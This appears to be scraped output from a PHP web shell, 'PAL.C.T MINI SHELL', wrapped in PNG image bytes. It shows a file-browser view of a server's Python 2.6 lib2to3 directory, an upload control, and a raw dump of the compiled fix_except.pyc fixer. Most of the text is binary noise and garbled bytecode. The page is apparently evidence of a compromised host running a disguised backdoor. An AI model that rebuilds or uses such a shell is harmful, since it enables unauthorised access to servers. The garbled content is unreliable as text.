php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/lib2to3/fixes/
upload
files >> //usr/lib/python2.6/lib2to3/fixes/fix_except.pyc

Lc@sdZddklZddklZddklZddklZlZl	Z	l
Z
lZlZdZ
deifdYZd	S(
sFixer for except statements with named exceptions.

The following cases will be converted:

- "except E, T:" where T is a name:

    except E as T:

- "except E, T:" where T is not a name, tuple or list:

        except E as t:
            T = t

    This is done because the target of an "except" clause must be a
    name.

- "except E, T:" where T is a tuple or list literal:

        except E as t:
            T = t.args
i(tpytree(ttoken(t
fixer_base(tAssigntAttrtNametis_tupletis_listtsymsccsfx_t|D]Q\}}|itijo2|ididjo|||dfVq^q
q
WdS(Niuexcepti(t	enumeratettypeRt
except_clausetchildrentvalue(tnodestitn((s./usr/lib/python2.6/lib2to3/fixes/fix_except.pytfind_exceptss

t	FixExceptcBseZdZdZRS(s1
    try_stmt< 'try' ':' (simple_stmt | suite)
                  cleanup=(except_clause ':' (simple_stmt | suite))+
                  tail=(['except' ':' (simple_stmt | suite)]
                        ['else' ':' (simple_stmt | suite)]
                        ['finally' ':' (simple_stmt | suite)]) >
    cCsO|i}g}|dD]}||iq~}g}|dD]}||iqC~}	xt|	D]\}
}t|
idjot|
idd!\}}
}|
itddd|iti	jot|i
dd}|i}d|_|i||i}|i}x2t|D]$\}}t
|tioPq/q/Wt|p
t|o"t|t|td	}nt||}x(t|| D]}|id
|qW|i||q|idjo
d|_qqlqlWg}|id D]}||iq~|	|}ti|i|S(Nttailtcleanupiiuastprefixu uuargsii(RtcloneRtlenRtreplaceRR
RtNAMEtnew_nameRR	t
isinstanceRtNodeRRRRtreversedtinsert_child(tselftnodetresultsRt_[1]RRt_[2]tchttry_cleanupRte_suitetEtcommatNtnew_Nttargettsuite_stmtsRtstmttassigntchildt_[3]tcR((s./usr/lib/python2.6/lib2to3/fixes/fix_except.pyt	transform.s<	++
	
	
	"6(t__name__t
__module__tPATTERNR2(((s./usr/lib/python2.6/lib2to3/fixes/fix_except.pyR$sN(t__doc__tRtpgen2RRt
fixer_utilRRRRRRRtBaseFixR(((s./usr/lib/python2.6/lib2to3/fixes/fix_except.pyt<module>s.	
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`